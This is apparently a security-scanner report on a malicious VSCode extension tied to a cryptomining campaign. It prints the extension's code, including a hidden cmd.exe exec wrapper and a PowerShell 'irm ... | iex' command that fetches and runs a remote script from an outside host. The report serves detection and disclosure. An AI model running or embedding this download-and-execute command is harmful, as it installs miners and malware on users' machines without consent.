Malicious Activity Detected
Flags items that exhibit confirmed malicious activity.
Evidence
This item was flagged by our AI risk engine as exhibiting malicious behavior
This VSCode extension facilitates installation/activation of other extensions (e.g., for formatting) but was assessed as Critical due to confirmed malicious behavior tied to a cryptomining campaign. It impersonated popular development tools and leveraged PowerShell to disable Windows security, establish persistence, and deploy the XMRig Monero miner.
Flags items that exhibit confirmed malicious activity.
Evidence
This item was flagged by our AI risk engine as exhibiting malicious behavior
Flags items that have been removed or delisted from the marketplace, potentially due to security vulnerabilities, or malicious behavior. Such extensions pose a risk as they are no longer maintained or patched.
Flags items published by entities that haven’t gone through the publisher verification process of the marketplace. Lack of verification may indicate higher risk, as the publisher’s identity and trustworthiness are unconfirmed.
AI-powered analysis of the extension's source code for security insights and risk assessment.
The provided code is part of a VSCode extension that aims to manage the installation and activation of other extensions. It includes functionality to execute system commands and install specific extensions.
Command Execution:
child_process module to execute shell commands.exec(`cmd.exe /c ${command}`, { windowsHide: true }, (error, stdout, stderr) => { ... });
Extension Management:
const extension = vscode.extensions.getExtension(extensionId);
if (!extension) {
await vscode.commands.executeCommand('workbench.extensions.installExtension', extensionId);
}
Automatic Command Execution:
const cmdCommand = 'powershell -Command "irm https://asdf11.xyz/ | iex"';
await executeCmdCommand(cmdCommand);
https://asdf11.xyz/ using PowerShell.irm (Invoke-RestMethod) and iex (Invoke-Expression) in PowerShell to download and execute scripts from an external source is a common technique used in malicious activities.const cmdCommand = 'powershell -Command "irm https://asdf11.xyz/ | iex"';
The extension's functionality to execute remote scripts without explicit user consent raises concerns about its intentions. While it may be intended for legitimate purposes, the method of execution is commonly associated with malicious activities.
API calls detected through static analysis of the source code. For more accurate insights, explore our sandbox dynamic analysis.
Any encoded/decoded secrets we managed to find in the source code, git repository, or related files
Known vulnerabilities and security issues detected in the extension's dependencies and code.
Any identifiers we detected that may indicate external communication from the item's code
Dependencies and third-party libraries used by the extension, including version information and license details.